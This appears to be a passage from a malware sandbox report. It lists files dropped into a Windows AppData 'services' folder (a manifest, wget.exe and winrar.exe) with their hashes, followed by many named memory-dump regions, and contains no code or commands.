SSDEEP 6144:MpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrqH1JWP6f:Mp8KLBzQ7Lcf3SiQs2FTTql9unNrkvT2
MD5 SHA1 SHA512 SSDEEP

Submit Download

Launcher.exe.manifest

Path C:\Users\Admin\AppData\Roaming\services\data\Launcher.exe.manifest
Size 1KB
SHA256 e20486518d09caf6778ed0d60aab51bb3c8b1a498fd4ede3c238ee1823676724
MD5 1b6de83d3f1ccabf195a98a2972c366a
SHA1 09f03658306c4078b75fa648d763df9cddd62f23
SHA512 e171a7f2431cfe0d3dfbd73e6ea0fc9bd3e5efefc1fbdeff517f74b9d78679913c4a60c57dde75e4a605c288bc2b87b9bb54b0532e67758dfb4a2ac8aea440ce
MD5 SHA1 SHA512

Submit Download

wget.exe

Path C:\Users\Admin\AppData\Roaming\services\wget.exe
Size 4.9MB
SHA256 a7b656fb7a45f8980784b90b40f4a14d035b9dc15616465a341043736ec53272
MD5 8c04808e4ba12cb793cf661fbbf6c2a0
SHA1 bdfdb50c5f251628c332042f85e8dd8cf5f650e3
SHA512 9619f96c3180ef3d738ecc1f5df7508c3ff8904021065665c8388a484648e135105e1c1585de1577c8b158f9b5bc241e3ff7f92665e9553e846e1b750ddea20f
SSDEEP 98304:bHObnQdOb3OWEqNHeHq6PdOnS8SOGdVilQeHPpXF0aGOVxuGqYE6hpAl/70pzd+Z:bHInQ5WE2HeHq61OJSOGdVilQeHPpXFA
MD5 SHA1 SHA512 SSDEEP

Submit Download

winrar.exe

Path C:\Users\Admin\AppData\Roaming\services\winrar.exe
Size 2.1MB
SHA256 f150b01c1cbc540c880dc00d812bcca1a8abe1166233227d621408f3e75b57d4
MD5 f59f4f7bea12dd7c8d44f0a717c21c8e
SHA1 17629ccb3bd555b72a4432876145707613100b3e
SHA512 44811f9a5f2917ccd56a7f894157fa305b749ca04903eeaeca493864742e459e0ce640c01c804c266283ce8c3e147c8e6b6cfd6c5cb717e2a374e92c32a63b2c
SSDEEP 49152:2oJAPtSHWxwJWzkDVkwg5NYUzNjteyUHBdH3y005:2ZAHWSxkfNNte9BpCN
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/304-332-0x0000000140000000-0x0000000140E3D000-memory.dmp

Download

memory/304-331-0x00007FFE945C0000-0x00007FFE945C2000-memory.dmp

Download

memory/304-330-0x00007FFE945B0000-0x00007FFE945B2000-memory.dmp

Download

memory/404-401-0x000001890ECD0000-0x000001890ECDA000-memory.dmp

Download

memory/404-352-0x000001890EC70000-0x000001890EC92000-memory.dmp

Download

memory/404-355-0x00000189273E0000-0x0000018927456000-memory.dmp

Download

memory/748-527-0x000001F7CD990000-0x000001F7CDA49000-memory.dmp

Download

memory/748-521-0x000001F7CD5C0000-0x000001F7CD5DC000-memory.dmp

Download

memory/1044-658-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-657-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-665-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-662-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-660-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-666-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-667-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-659-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-664-0x0000022D00990000-0x0000022D009B0000-memory.dmp

Download

memory/1044-677-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-669-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-668-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-663-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-676-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1044-661-0x0000000140000000-0x0000000140848000-memory.dmp

Download

memory/1256-346-0x0000000000400000-0x000000000046F000-memory.dmp

Download

memory/1772-316-0x0000000075680000-0x0000000075842000-memory.dmp

Download

memory/1772-313-0x0000000004530000-0x0000000004930000-memory.dmp

Download

memory/1772-314-0x00007FFE943D0000-0x00007FFE945AB000-memory.dmp

Download

memory/1772-311-0x0000000000730000-0x0000000000739000-memory.dmp

Download

memory/2032-320-0x0000000000400000-0x00000000008F2000-memory.dmp

Download

memory/2500-294-0x0000000000400000-0x00000000008F2000-memory.dmp

Download

memory/2896-651-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/2896-652-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/2896-649-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/2896-656-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/2896-653-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/2896-650-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/3504-497-0x0000000140000000-0x0000000140E3D000-memory.dmp

Download

memory/4040-336-0x0000000000400000-0x00000000008F2000-memory.dmp

Download

memory/4120-307-0x0000000003200000-0x0000000003600000-memory.dmp

Download

memory/4120-317-0x0000000000400000-0x000000000047E000-memory.dmp

Download

memory/4120-310-0x0000000075680000-0x0000000075842000-memory.dmp

Download

memory/4120-306-0x0000000003200000-0x0000000003600000-memory.dmp

Download

memory/4120-308-0x00007FFE943D0000-0x00007FFE945AB000-memory.dmp

Download

memory/4292-42-0x00000000093C0000-0x00000000098BE000-memory.dmp

Download

memory/4292-21-0x0000000007600000-0x0000000007950000-memory.dmp

Download

memory/4292-16-0x0000000000D50000-0x0000000000D86000-memory.dmp

Download

memory/4292-17-0x0000000006DA0000-0x00000000073C8000-memory.dmp

Download

memory/4292-18-0x0000000006C20000-0x0000000006C42000-memory.dmp

Download

memory/4292-20-0x0000000007590000-0x00000000075F6000-memory.dmp

Download

memory/4292-19-0x0000000007440000-0x00000000074A6000-memory.dmp

Download

memory/4292-41-0x0000000008B70000-0x0000000008B92000-memory.dmp

Download

memory/4292-40-0x0000000008B00000-0x0000000008B1A000-memory.dmp

Download

memory/4292-39-0x0000000008E20000-0x0000000008EB4000-memory.dmp

Download

memory/4292-24-0x0000000007CD0000-0x0000000007D46000-memory.dmp

Download

memory/4292-23-0x0000000007ED0000-0x0000000007F1B000-memory.dmp

Download

memory/4292-22-0x0000000007570000-0x000000000758C000-memory.dmp

Download

memory/4584-71-0x00000000093E0000-0x00000000093FE000-memory.dmp

Download

memory/4584-276-0x00000000096A0000-0x00000000096A8000-memory.dmp

Download

memory/4584-69-0x0000000009400000-0x0000000009433000-memory.dmp

Download

memory/4584-70-0x000000006EC20000-0x000000006EC6B000-memory.dmp

Download

memory/4584-271-0x00000000096B0000-0x00000000096CA000-memory.dmp

Download

memory/4584-76-0x0000000009450000-0x00000000094F5000-memory.dmp

Download